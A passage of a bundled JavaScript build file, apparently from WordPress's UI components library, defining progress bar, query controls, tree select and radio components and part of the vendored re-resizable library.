HRoRm9jdXMgfTtcblx0LyogVGV4dCBjb2xvciBhdCAxMCUgb3BhY2l0eSAqL1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0aW4gc3JnYixcblx0XHQkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9LFxuXHRcdHRyYW5zcGFyZW50IDkwJVxuXHQpO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdG91dGxpbmUtb2Zmc2V0OiAycHg7XG5cblx0OndoZXJlKCAmICkge1xuXHRcdHdpZHRoOiAxNjBweDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEluZGljYXRvciA9IHN0eWxlZC5kaXY8IHtcblx0aXNJbmRldGVybWluYXRlOiBib29sZWFuO1xufSA+YFxuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdC8qIFRleHQgY29sb3IgYXQgOTAlIG9wYWNpdHkgKi9cblx0YmFja2dyb3VuZC1jb2xvcjogY29sb3ItbWl4KFxuXHRcdGluIHNyZ2IsXG5cdFx0JHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfSxcblx0XHR0cmFuc3BhcmVudCAxMCVcblx0KTtcblxuXHQvLyBXaW5kb3dzIGhpZ2ggY29udHJhc3QgbW9kZS5cblx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRvdXRsaW5lLW9mZnNldDogLTJweDtcblxuXHQkeyAoIHsgaXNJbmRldGVybWluYXRlIH0gKSA9PlxuXHRcdGlzSW5kZXRlcm1pbmF0ZVxuXHRcdFx0PyBjc3MoIHtcblx0XHRcdFx0XHRhbmltYXRpb25EdXJhdGlvbjogJzEuNXMnLFxuXHRcdFx0XHRcdGFuaW1hdGlvblRpbWluZ0Z1bmN0aW9uOiAnZWFzZS1pbi1vdXQnLFxuXHRcdFx0XHRcdGFuaW1hdGlvbkl0ZXJhdGlvbkNvdW50OiAnaW5maW5pdGUnLFxuXHRcdFx0XHRcdGFuaW1hdGlvbk5hbWU6IGFuaW1hdGVQcm9ncmVzc0JhciggaXNSVEwoKSApLFxuXHRcdFx0XHRcdHdpZHRoOiBgJHsgSU5ERVRFUk1JTkFURV9UUkFDS19XSURUSCB9JWAsXG5cdFx0XHQgIH0gKVxuXHRcdFx0OiBjc3MoIHtcblx0XHRcdFx0XHR3aWR0aDogJ3ZhcigtLWluZGljYXRvci13aWR0aCknLFxuXHRcdFx0XHRcdHRyYW5zaXRpb246ICd3aWR0aCAwLjRzIGVhc2UtaW4tb3V0Jyxcblx0XHRcdCAgfSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgUHJvZ3Jlc3NFbGVtZW50ID0gc3R5bGVkLnByb2dyZXNzYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogMDtcblx0bGVmdDogMDtcblx0b3BhY2l0eTogMDtcblx0d2lkdGg6IDEwMCU7XG5cdGhlaWdodDogMTAwJTtcbmA7XG4iXX0= */",
45869 toString: _EMOTION_STRINGIFIED_CSS_ERROR__37
45870 });
45871
45872 // packages/components/build-module/progress-bar/index.mjs
45873 var import_jsx_runtime253 = __toESM(require_jsx_runtime(), 1);
45874 function UnforwardedProgressBar(props, ref) {
45875 const {
45876 className: className2,
45877 value,
45878 ...progressProps
45879 } = props;
45880 const isIndeterminate = !Number.isFinite(value);
45881 return /* @__PURE__ */ (0, import_jsx_runtime253.jsxs)(Track2, {
45882 className: className2,
45883 children: [/* @__PURE__ */ (0, import_jsx_runtime253.jsx)(Indicator, {
45884 style: {
45885 "--indicator-width": !isIndeterminate ? `${value}%` : void 0
45886 },
45887 isIndeterminate
45888 }), /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(ProgressElement, {
45889 max: 100,
45890 value,
45891 "aria-label": (0, import_i18n71.__)("Loading \u2026"),
45892 ref,
45893 ...progressProps
45894 })]
45895 });
45896 }
45897 var ProgressBar = (0, import_element178.forwardRef)(UnforwardedProgressBar);
45898 ProgressBar.displayName = "ProgressBar";
45899 var progress_bar_default = ProgressBar;
45900
45901 // packages/components/build-module/query-controls/index.mjs
45902 var import_i18n72 = __toESM(require_i18n(), 1);
45903
45904 // packages/components/build-module/query-controls/terms.mjs
45905 var ensureParentsAreDefined = (terms) => {
45906 return terms.every((term) => term.parent !== null);
45907 };
45908 function buildTermsTree(flatTerms) {
45909 const flatTermsWithParentAndChildren = flatTerms.map((term) => ({
45910 children: [],
45911 parent: null,
45912 ...term,
45913 id: String(term.id)
45914 }));
45915 if (!ensureParentsAreDefined(flatTermsWithParentAndChildren)) {
45916 return flatTermsWithParentAndChildren;
45917 }
45918 const termsByParent = flatTermsWithParentAndChildren.reduce((acc, term) => {
45919 const {
45920 parent
45921 } = term;
45922 if (!acc[parent]) {
45923 acc[parent] = [];
45924 }
45925 acc[parent].push(term);
45926 return acc;
45927 }, {});
45928 const fillWithChildren = (terms) => {
45929 return terms.map((term) => {
45930 const children = termsByParent[term.id];
45931 return {
45932 ...term,
45933 children: children && children.length ? fillWithChildren(children) : []
45934 };
45935 });
45936 };
45937 return fillWithChildren(termsByParent["0"] || []);
45938 }
45939
45940 // packages/components/build-module/tree-select/index.mjs
45941 var import_element179 = __toESM(require_element(), 1);
45942 var import_html_entities = __toESM(require_html_entities(), 1);
45943 var import_jsx_runtime254 = __toESM(require_jsx_runtime(), 1);
45944 function getSelectOptions(tree, level = 0) {
45945 return tree.flatMap((treeNode) => [{
45946 value: treeNode.id,
45947 label: "\xA0".repeat(level * 3) + (0, import_html_entities.decodeEntities)(treeNode.name)
45948 }, ...getSelectOptions(treeNode.children || [], level + 1)]);
45949 }
45950 function TreeSelect(props) {
45951 const {
45952 __nextHasNoMarginBottom: _2,
45953 // Prevent passing to internal component
45954 label,
45955 noOptionLabel,
45956 onChange,
45957 selectedId,
45958 tree = [],
45959 ...restProps
45960 } = useDeprecated36pxDefaultSizeProp(props);
45961 const options2 = (0, import_element179.useMemo)(() => {
45962 return [noOptionLabel && {
45963 value: "",
45964 label: noOptionLabel
45965 }, ...getSelectOptions(tree)].filter((option) => !!option);
45966 }, [noOptionLabel, tree]);
45967 maybeWarnDeprecated36pxSize({
45968 componentName: "TreeSelect",
45969 size: restProps.size,
45970 __next40pxDefaultSize: restProps.__next40pxDefaultSize
45971 });
45972 return (
45973 // Disable reason: the parent component already takes case of the `__next40pxDefaultSize` prop.
45974 // eslint-disable-next-line @wordpress/components-no-missing-40px-size-prop
45975 /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(SelectControl, {
45976 __shouldNotWarnDeprecated36pxSize: true,
45977 label,
45978 options: options2,
45979 onChange,
45980 value: selectedId,
45981 ...restProps
45982 })
45983 );
45984 }
45985 var tree_select_default = TreeSelect;
45986
45987 // packages/components/build-module/query-controls/author-select.mjs
45988 var import_jsx_runtime255 = __toESM(require_jsx_runtime(), 1);
45989 function AuthorSelect({
45990 __next40pxDefaultSize,
45991 label,
45992 noOptionLabel,
45993 authorList,
45994 selectedAuthorId,
45995 onChange: onChangeProp
45996 }) {
45997 if (!authorList) {
45998 return null;
45999 }
46000 const termsTree = buildTermsTree(authorList);
46001 return /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(tree_select_default, {
46002 label,
46003 noOptionLabel,
46004 onChange: onChangeProp,
46005 tree: termsTree,
46006 selectedId: selectedAuthorId !== void 0 ? String(selectedAuthorId) : void 0,
46007 __next40pxDefaultSize
46008 });
46009 }
46010
46011 // packages/components/build-module/query-controls/category-select.mjs
46012 var import_element180 = __toESM(require_element(), 1);
46013 var import_jsx_runtime256 = __toESM(require_jsx_runtime(), 1);
46014 function CategorySelect({
46015 __next40pxDefaultSize,
46016 label,
46017 noOptionLabel,
46018 categoriesList,
46019 selectedCategoryId,
46020 onChange: onChangeProp,
46021 ...props
46022 }) {
46023 const termsTree = (0, import_element180.useMemo)(() => {
46024 return buildTermsTree(categoriesList);
46025 }, [categoriesList]);
46026 return /* @__PURE__ */ (0, import_jsx_runtime256.jsx)(tree_select_default, {
46027 label,
46028 noOptionLabel,
46029 onChange: onChangeProp,
46030 tree: termsTree,
46031 selectedId: selectedCategoryId !== void 0 ? String(selectedCategoryId) : void 0,
46032 ...props,
46033 __next40pxDefaultSize
46034 });
46035 }
46036
46037 // packages/components/build-module/query-controls/index.mjs
46038 var import_jsx_runtime257 = __toESM(require_jsx_runtime(), 1);
46039 var DEFAULT_MIN_ITEMS = 1;
46040 var DEFAULT_MAX_ITEMS = 100;
46041 var MAX_CATEGORIES_SUGGESTIONS = 20;
46042 function isSingleCategorySelection(props) {
46043 return "categoriesList" in props;
46044 }
46045 function isMultipleCategorySelection(props) {
46046 return "categorySuggestions" in props;
46047 }
46048 var defaultOrderByOptions = [{
46049 label: (0, import_i18n72.__)("Newest to oldest"),
46050 value: "date/desc"
46051 }, {
46052 label: (0, import_i18n72.__)("Oldest to newest"),
46053 value: "date/asc"
46054 }, {
46055 /* translators: Label for ordering posts by title in ascending order. */
46056 label: (0, import_i18n72.__)("A \u2192 Z"),
46057 value: "title/asc"
46058 }, {
46059 /* translators: Label for ordering posts by title in descending order. */
46060 label: (0, import_i18n72.__)("Z \u2192 A"),
46061 value: "title/desc"
46062 }];
46063 function QueryControls({
46064 authorList,
46065 selectedAuthorId,
46066 numberOfItems,
46067 order,
46068 orderBy,
46069 orderByOptions = defaultOrderByOptions,
46070 maxItems = DEFAULT_MAX_ITEMS,
46071 minItems = DEFAULT_MIN_ITEMS,
46072 onAuthorChange,
46073 onNumberOfItemsChange,
46074 onOrderChange,
46075 onOrderByChange,
46076 // Props for single OR multiple category selection are not destructured here,
46077 // but instead are destructured inline where necessary.
46078 ...props
46079 }) {
46080 return /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(component_default18, {
46081 spacing: "4",
46082 className: "components-query-controls",
46083 children: [onOrderChange && onOrderByChange && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(select_control_default, {
46084 __next40pxDefaultSize: true,
46085 label: (0, import_i18n72.__)("Order by"),
46086 value: orderBy === void 0 || order === void 0 ? void 0 : `${orderBy}/${order}`,
46087 options: orderByOptions,
46088 onChange: (value) => {
46089 if (typeof value !== "string") {
46090 return;
46091 }
46092 const [newOrderBy, newOrder] = value.split("/");
46093 if (newOrder !== order) {
46094 onOrderChange(newOrder);
46095 }
46096 if (newOrderBy !== orderBy) {
46097 onOrderByChange(newOrderBy);
46098 }
46099 }
46100 }, "query-controls-order-select"), isSingleCategorySelection(props) && props.categoriesList && props.onCategoryChange && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(CategorySelect, {
46101 __next40pxDefaultSize: true,
46102 categoriesList: props.categoriesList,
46103 label: (0, import_i18n72.__)("Category"),
46104 noOptionLabel: (0, import_i18n72._x)("All", "categories"),
46105 selectedCategoryId: props.selectedCategoryId,
46106 onChange: props.onCategoryChange
46107 }, "query-controls-category-select"), isMultipleCategorySelection(props) && props.categorySuggestions && props.onCategoryChange && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(form_token_field_default, {
46108 __next40pxDefaultSize: true,
46109 label: (0, import_i18n72.__)("Categories"),
46110 value: props.selectedCategories && props.selectedCategories.map((item2) => ({
46111 id: item2.id,
46112 // Keeping the fallback to `item.value` for legacy reasons,
46113 // even if items of `selectedCategories` should not have a
46114 // `value` property.
46115 // @ts-expect-error
46116 value: item2.name || item2.value
46117 })),
46118 suggestions: Object.keys(props.categorySuggestions),
46119 onChange: props.onCategoryChange,
46120 maxSuggestions: MAX_CATEGORIES_SUGGESTIONS
46121 }, "query-controls-categories-select"), onAuthorChange && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(AuthorSelect, {
46122 __next40pxDefaultSize: true,
46123 authorList,
46124 label: (0, import_i18n72.__)("Author"),
46125 noOptionLabel: (0, import_i18n72._x)("All", "authors"),
46126 selectedAuthorId,
46127 onChange: onAuthorChange
46128 }, "query-controls-author-select"), onNumberOfItemsChange && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(range_control_default, {
46129 __next40pxDefaultSize: true,
46130 label: (0, import_i18n72.__)("Number of items"),
46131 value: numberOfItems,
46132 onChange: onNumberOfItemsChange,
46133 min: minItems,
46134 max: maxItems,
46135 required: true
46136 }, "query-controls-range-control")]
46137 });
46138 }
46139 var query_controls_default = QueryControls;
46140
46141 // packages/components/build-module/radio-group/radio.mjs
46142 var import_element182 = __toESM(require_element(), 1);
46143
46144 // packages/components/build-module/radio-group/context.mjs
46145 var import_element181 = __toESM(require_element(), 1);
46146 var RadioGroupContext = (0, import_element181.createContext)({
46147 store: void 0,
46148 disabled: void 0
46149 });
46150 RadioGroupContext.displayName = "RadioGroupContext";
46151
46152 // packages/components/build-module/radio-group/radio.mjs
46153 var import_jsx_runtime258 = __toESM(require_jsx_runtime(), 1);
46154 function UnforwardedRadio({
46155 value,
46156 children,
46157 ...props
46158 }, ref) {
46159 const {
46160 store,
46161 disabled
46162 } = (0, import_element182.useContext)(RadioGroupContext);
46163 const selectedValue = useStoreState(store, "value");
46164 const isChecked = selectedValue !== void 0 && selectedValue === value;
46165 maybeWarnDeprecated36pxSize({
46166 componentName: "Radio",
46167 size: void 0,
46168 __next40pxDefaultSize: props.__next40pxDefaultSize
46169 });
46170 return /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(Radio, {
46171 disabled,
46172 store,
46173 ref,
46174 value,
46175 render: (
46176 // Disable: the parent component already takes care of the `__next40pxDefaultSize` prop.
46177 // eslint-disable-next-line @wordpress/components-no-missing-40px-size-prop
46178 /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(button_default, {
46179 variant: isChecked ? "primary" : "secondary",
46180 ...props
46181 })
46182 ),
46183 children: children || value
46184 });
46185 }
46186 var Radio22 = (0, import_element182.forwardRef)(UnforwardedRadio);
46187 Radio22.displayName = "Radio";
46188 var radio_default = Radio22;
46189
46190 // packages/components/build-module/radio-group/index.mjs
46191 var import_deprecated24 = __toESM(require_deprecated(), 1);
46192 var import_element183 = __toESM(require_element(), 1);
46193 var import_i18n73 = __toESM(require_i18n(), 1);
46194 var import_jsx_runtime259 = __toESM(require_jsx_runtime(), 1);
46195 function UnforwardedRadioGroup({
46196 label,
46197 checked,
46198 defaultChecked,
46199 disabled,
46200 onChange,
46201 children,
46202 ...props
46203 }, ref) {
46204 const radioStore = useRadioStore({
46205 value: checked,
46206 defaultValue: defaultChecked,
46207 setValue: (newValue) => {
46208 onChange?.(newValue ?? void 0);
46209 },
46210 rtl: (0, import_i18n73.isRTL)()
46211 });
46212 const contextValue = (0, import_element183.useMemo)(() => ({
46213 store: radioStore,
46214 disabled
46215 }), [radioStore, disabled]);
46216 (0, import_deprecated24.default)("wp.components.__experimentalRadioGroup", {
46217 alternative: "wp.components.RadioControl or wp.components.__experimentalToggleGroupControl",
46218 since: "6.8"
46219 });
46220 return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(RadioGroupContext.Provider, {
46221 value: contextValue,
46222 children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(RadioGroup, {
46223 store: radioStore,
46224 render: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(button_group_default, {
46225 __shouldNotWarnDeprecated: true,
46226 children
46227 }),
46228 "aria-label": label,
46229 ref,
46230 ...props
46231 })
46232 });
46233 }
46234 var RadioGroup22 = (0, import_element183.forwardRef)(UnforwardedRadioGroup);
46235 RadioGroup22.displayName = "RadioGroup";
46236 var radio_group_default = RadioGroup22;
46237
46238 // packages/components/build-module/radio-control/index.mjs
46239 var import_compose67 = __toESM(require_compose(), 1);
46240 var import_jsx_runtime260 = __toESM(require_jsx_runtime(), 1);
46241 function generateOptionDescriptionId(radioGroupId, index2) {
46242 return `${radioGroupId}-${index2}-option-description`;
46243 }
46244 function generateOptionId(radioGroupId, index2) {
46245 return `${radioGroupId}-${index2}`;
46246 }
46247 function generateHelpId(radioGroupId) {
46248 return `${radioGroupId}__help`;
46249 }
46250 function RadioControl(props) {
46251 const {
46252 label,
46253 className: className2,
46254 selected,
46255 help,
46256 onChange,
46257 onClick,
46258 hideLabelFromVision,
46259 options: options2 = [],
46260 id: preferredId,
46261 ...additionalProps
46262 } = props;
46263 const id3 = (0, import_compose67.useInstanceId)(RadioControl, "inspector-radio-control", preferredId);
46264 const onChangeValue = (event) => onChange(event.target.value);
46265 if (!options2?.length) {
46266 return null;
46267 }
46268 return /* @__PURE__ */ (0, import_jsx_runtime260.jsxs)("fieldset", {
46269 id: id3,
46270 className: clsx_default(className2, "components-radio-control"),
46271 "aria-describedby": !!help ? generateHelpId(id3) : void 0,
46272 children: [hideLabelFromVision ? /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(component_default2, {
46273 as: "legend",
46274 children: label
46275 }) : /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(base_control_default.VisualLabel, {
46276 as: "legend",
46277 children: label
46278 }), /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(component_default18, {
46279 spacing: 3,
46280 className: clsx_default("components-radio-control__group-wrapper", {
46281 "has-help": !!help
46282 }),
46283 children: options2.map((option, index2) => /* @__PURE__ */ (0, import_jsx_runtime260.jsxs)("div", {
46284 className: "components-radio-control__option",
46285 children: [/* @__PURE__ */ (0, import_jsx_runtime260.jsx)("input", {
46286 id: generateOptionId(id3, index2),
46287 className: "components-radio-control__input",
46288 type: "radio",
46289 name: id3,
46290 value: option.value,
46291 onChange: onChangeValue,
46292 checked: option.value === selected,
46293 "aria-describedby": !!option.description ? generateOptionDescriptionId(id3, index2) : void 0,
46294 onClick: (event) => {
46295 event.currentTarget.focus();
46296 onClick?.(event);
46297 },
46298 ...additionalProps
46299 }), /* @__PURE__ */ (0, import_jsx_runtime260.jsx)("label", {
46300 className: "components-radio-control__label",
46301 htmlFor: generateOptionId(id3, index2),
46302 children: option.label
46303 }), !!option.description ? /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(StyledHelp, {
46304 id: generateOptionDescriptionId(id3, index2),
46305 className: "components-radio-control__option-description",
46306 children: option.description
46307 }) : null]
46308 }, generateOptionId(id3, index2)))
46309 }), !!help && /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(StyledHelp, {
46310 id: generateHelpId(id3),
46311 className: "components-base-control__help",
46312 children: help
46313 })]
46314 });
46315 }
46316 var radio_control_default = RadioControl;
46317
46318 // packages/components/build-module/resizable-box/index.mjs
46319 var import_element187 = __toESM(require_element(), 1);
46320
46321 // node_modules/re-resizable/lib/index.js
46322 var React13 = __toESM(require_react());
46323
46324 // node_modules/re-resizable/lib/resizer.js
46325 var React12 = __toESM(require_react());
46326 var __extends = /* @__PURE__ */ (function() {
46327 var extendStatics = function(d3, b3) {
46328 extendStatics = Object.setPrototypeOf || { __proto__: [] } instanceof Array && function(d4, b4) {
46329 d4.__proto__ = b4;
46330 } || function(d4, b4) {
46331 for (var p3 in b4) if (b4.hasOwnProperty(p3)) d4[p3] = b4[p3];
46332 };
46333 return extendStatics(d3, b3);
46334 };
46335 return function(d3, b3) {
46336 extendStatics(d3, b3);
46337 function __67() {
46338 this.constructor = d3;
46339 }
46340 d3.prototype = b3 === null ? Object.create(b3) : (__67.prototype = b3.prototype, new __67());
46341 };
46342 })();
46343 var __assign2 = function() {
46344 __assign2 = Object.assign || function(t4) {
46345 for (var s3, i3 = 1, n3 = arguments.length; i3 < n3; i3++) {
46346 s3 = arguments[i3];
46347 for (var p3 in s3) if (Object.prototype.hasOwnProperty.call(s3, p3))
46348 t4[p3] = s3[p3];
46349 }
46350 return t4;
46351 };
46352 return __assign2.apply(this, arguments);
46353 };
46354 var styles2 = {
46355 top: {
46356 width: "100%",
46357 height: "10px",
46358 top: "-5px",
46359 left: "0px",
46360 cursor: "row-resize"
46361 },
46362 right: {
46363 width: "10px",
46364 height: "100%",
46365 top: "0px",
46366 right: "-5px",
46367 cursor: "col-resize"
46368 },
46369 bottom: {
46370 width: "100%",
46371 height: "10px",
46372 bottom: "-5px",
46373 left: "0px",
46374 cursor: "row-resize"
46375 },
46376 left: {
46377 width: "10px",
46378 height: "100%",
46379 top: "0px",
46380 left: "-5px",
46381 cursor: "col-resize"
46382 },
46383 topRight: {
46384 width: "20px",
46385 height: "20px",
46386 position: "absolute",
46387 right: "-10px",
46388 top: "-10px",
46389 cursor: "ne-resize"
46390 },
46391 bottomRight: {
46392 width: "20px",
46393 height: "20px",
46394 position: "absolute",
46395 right: "-10px",
46396 bottom: "-10px",
46397 cursor: "se-resize"
46398 },
46399 bottomLeft: {
46400 width: "20px",
46401 height: "20px",
46402 position: "absolute",
46403 left: "-10px",
46404 bottom: "-10px",
46405 cursor: "sw-resize"
46406 },
46407 topLeft: {
46408 width: "20px",
46409 height: "20px",
46410 position: "absolute",
46411 left: "-10px",
46412 top: "-10px",
46413 cursor: "nw-resize"
46414 }
46415 };
46416 var Resizer = (
46417 /** @class */
46418 (function(_super) {
46419 __extends(Resizer2, _super);
46420 function Resizer2() {
46421 var _this = _super !== null && _super.apply(this, arguments) || this;
46422 _this.onMouseDown = function(e3) {
46423 _this.props.onResizeStart(e3, _this.props.direction);
46424 };
46425 _this.onTouchStart = function(e3) {
46426 _this.props.onResizeStart(e3, _this.props.direction);
46427 };
46428 return _this;
46429 }
46430 Resizer2.prototype.render = function() {
46431 return React12.createElement("div", { className: this.props.className || "", style: __assign2(__assign2({ position: "absolute", userSelect: "none" }, styles2[this.props.direction]), this.props.replaceStyles || {}), onMouseDown: this.onMouseDown, onTouchStart: this.onTouchStart }, this.props.children);
46432 };
46433 return Resizer2;
46434 })(React12.PureComponent)
46435 );
46436
46437 // node_modules/re-resizable/lib/index.js
46438 var import_fast_memoize = __toESM(require_src());
46439 var __extends2 = /* @__PURE__ */ (function() {
46440 var extendStatics = function(d3, b3) {
46441 extendStatics = Object.setPrototypeOf || { __proto__: [] } instanceof Array && function(d4, b4) {
46442 d4.__proto__ = b4;
46443 } || function(d4, b4) {
46444 for (var p3 in b4) if (b4.hasOwnProperty(p3)) d4[p3] = b4[p3];
46445 };
46446 return extendStatics(d3, b3);
46447 };
46448 return function(d3, b3) {
46449 extendStatics(d3, b3);
46450 function __67() {
46451 this.constructor = d3;
46452 }
46453 d3.prototype = b3 === null ? Object.create(b3) : (__67.prototype = b3.prototype, new __67());
46454 };
46455 })();
46456 var __assign3 = function() {
46457 __assign3 = Object.assign || function(t4) {
46458 for (var s3, i3 = 1, n3 = arguments.length; i3 < n3; i3++) {
46459 s3 = arguments[i3];
46460 for (var p3 in s3) if (Object.prototype.hasOwnProperty.call(s3, p3))
46461 t4[p3] = s3[p3];
46462 }
46463 return t4;
46464 };
46465 return __assign3.apply(this, arguments);
46466 };
46467 var DEFAULT_SIZE = {
46468 width: "auto",
46469 height: "auto"
46470 };
46471 var clamp5 = (0, import_fast_memoize.default)(function(n3, min3, max3) {
46472 return Math.max(Math.min(n3, max3), min3);
46473 });
46474 var snap = (0, import_fast_memoize.default)(function(n3, size3) {
46475 return Math.round(n3 / size3) * size3;
46476 });
46477 var hasDirection = (0, import_fast_memoize.default)(function(dir, target) {
46478 return new RegExp(dir, "i").test(target);
46479 });
46480 var isTouchEvent = function(event) {
46481 return Boolean(event.touches && event.touches.length);
46482 };
46483 var isMouseEvent = function(event) {
46484 return Boolean((event.clientX || event.clientX === 0) && (event.clientY || event.clientY === 0));
46485 };
46486 var findClosestSnap = (0, import_fast_memoize.default)(function(n3, snapArray, snapGap) {
46487 if (snapGap === void 0) {
46488 snapGap = 0;
46489 }
46490 var closestGapIndex = snapArray.reduce(function(prev2, curr, index2) {
46491 return Math.abs(curr - n3) < Math.abs(snapArray[prev2] - n3) ? index2 : prev2;
46492 }, 0);
46493 var gap = Math.abs(snapArray[closestGapIndex] - n3);
46494 return snapGap === 0 || gap < snapGap ? snapArray[closestGapIndex] : n3;
46495 });
46496 var endsWith = (0, import_fast_memoize.default)(function(str, searchStr) {
46497 return str.substr(str.length - searchStr.length, searchStr.length) === searchStr;
46498 });
46499 var getStringSize = (0, import_fast_memoize.default)(function(n3) {
46500 n3 = n3.toString();
46501 if (n3 === "auto") {
46502 return n3;
46503 }
46504 if (endsWith(n3, "px")) {
46505 return n3;
46506 }
46507 if (endsWith(n3, "%")) {
46508 return n3;
46509 }
46510 if (endsWith(n3, "vh")) {
46511 return n3;
46512 }
46513 if (endsWith(n3, "vw")) {
46514 return n3;
46515 }
46516 if (endsWith(n3, "vmax")) {
46517 return n3;
46518 }
46519 if (endsWith(n3, "vmin")) {
46520 return n3;
46521 }
46522 return n3 + "px";
46523 });
46524 var getPixelSize = function(size3, parentSize, innerWidth, innerHeight) {
46525 if (size3 && typeof size3 === "string") {
46526 if (endsWith(size3, "px")) {
46527 return Number(size3.replace("px", ""));
46528 }
46529 if (endsWith(size3, "%")) {
46530 var ratio = Number(size3.replace("%", "")) / 100;
46531 return parentSize * ratio;
46532 }
46533 if (endsWith(size3, "vw")) {
46534 var ratio = Number(size3.replace("vw", "")) / 100;
46535 return innerWidth * ratio;
46536 }
46537 if (endsWith(size3, "vh")) {
46538 var ratio = Number(size3.replace("vh", "")) / 100;
46539 return innerHeight * ratio;
46540 }
46541 }
46542 return size3;
46543 };
46544 var calculateNewMax = (0, import_fast_memoize.default)(function(parentSize, innerWidth, innerHeight, maxWidth, maxHeight, minWidth, minHeight) {
46545 maxWidth = getPixelSize(maxWidth, parentSize.width, innerWidth, innerHeight);
46546 maxHeight = getPixelSize(maxHeight, parentSize.height, innerWidth, innerHeight);
46547 minWidth = getPixelSize(minWidth, parentSize.width, innerWidth, innerHeight);
46548 minHeight = getPixelSize(minHeight, parentSize.height, innerWidth, innerHeight);
46549 return {
46550 maxWidth: typeof maxWidth === "undefined" ? void 0 : Number(maxWidth),
46551 maxHeight: typeof maxHeight === "undefined" ? void 0 : Number(maxHeight),
46552 minWidth: typeof minWidth === "undefined" ? void 0 : Number(minWidth),
46553 minHeight: typeof minHeight === "undefined" ? void 0 : Number(minHeight)
46554 };
46555 });
46556 var definedProps = [
46557 "as",
46558 "style",
46559 "className",
46560 "grid",
46561 "snap",
46562 "bounds",
46563 "boundsByDirection",
46564 "size",
46565 "defaultSize",
46566 "minWidth",
46567 "minHeight",
46568 "maxWidth",
46569 "maxHeight",
46570 "lockAspectRatio",
46571 "lockAspectRatioExtraWidth",
46572 "lockAspectRatioExtraHeight",
46573 "enable",
46574 "handleStyles",
46575 "handleClasses",
46576 "handleWrapperStyle",
46577 "handleWrapperClass",
46578 "children",
46579 "onResizeStart",
46580 "onResize",
46581 "onResizeStop",
46582 "handleComponent",
46583 "scale",
46584 "resizeRatio",
46585 "snapGap"
46586 ];
46587 var baseClassName = "__resizable_base__";
46588 var Resizable = (
46589 /** @class */
46590 (function(_super) {
46591 __extends2(Resizable2, _super);
46592 function Resizable2(props) {
46593 var _this = _super.call(this, props) || this;
46594 _this.ratio = 1;
46595 _this.resizable = null;
46596 _this.parentLeft = 0;
46597 _this.parentTop = 0;
46598 _this.resizableLeft = 0;
46599 _this.resizableRight = 0;
46600 _this.resizableTop = 0;
46601 _this.resizableBottom = 0;
46602 _this.targetLeft = 0;
46603 _this.targetTop = 0;
46604 _this.appendBase = function() {
46605 if (!_this.resizable || !_this.window) {
46606 return null;
46607 }
46608 var parent = _this.parentNode;
46609 if (!parent) {
46610 return null;
46611 }
46612 var element = _this.window.document.createElement("div");
46613 element.style.width = "100%";
46614 element.style.height = "100%";
46615 element.style.position = "absolute";
46616 element.style.transform = "scale(0, 0)";
46617 element.style.left = "0";
46618 element.style.flex = "0";
46619 if (element.classList) {
46620 element.classList.add(baseClassName);
46621 } else {
46622 element.className += baseClassName;
46623 }
46624 parent.appendChild(element);
46625 return element;
46626 };
46627 _this.removeBase = function(base) {
46628 var parent = _this.parentNode;
46629 if (!parent) {
46630 return;
46631 }
46632 parent.removeChild(base);
46633 };
46634 _this.ref = function(c3) {
46635 if (c3) {
46636 _this.resizable = c3;
46637 }
46638 };
46639 _this.state = {
46640 isResizing: false,
46641 width: typeof (_this.propsSize && _this.propsSize.width) === "undefined" ? "auto" : _this.propsSize && _this.propsSize.width,
46642 height: typeof (_this.propsSize && _this.propsSize.height) === "undefined" ? "auto" : _this.propsSize && _this.propsSize.height,
46643 direction: "right",
46644 original: {
46645 x: 0,
46646 y: 0,
46647 width: 0,
46648 height: 0
46649 },
46650 backgroundStyle: {
46651 height: "100%",
46652 width: "100%",
46653 backgroundColor: "rgba(0,0,0,0)",
46654 cursor: "auto",
46655 opacity: 0,
46656 position: "fixed",
46657 zIndex: 9999,
46658 top: "0",
46659 left: "0",
46660 bottom: "0",
46661 right: "0"
46662 },
46663 flexBasis: void 0
46664 };
46665 _this.onResizeStart = _this.onResizeStart.bind(_this);
46666 _this.onMouseMove = _this.onMouseMove.bind(_this);
46667 _this.onMouseUp = _this.onMouseUp.bind(_this);
46668 return _this;
46669 }
46670 Object.defineProperty(Resizable2.prototype, "parentNode", {
46671 get: function() {
46672 if (!this.resizable) {
46673 return null;
46674 }
46675 return this.resizable.parentNode;
46676 },
46677 enumerable: false,
46678 configurable: true
46679 });
46680 Object.defineProperty(Resizable2.prototype, "window", {
46681 get: function() {
46682 if (!this.resizable) {
46683 return null;
46684 }
46685 if (!this.resizable.ownerDocument) {
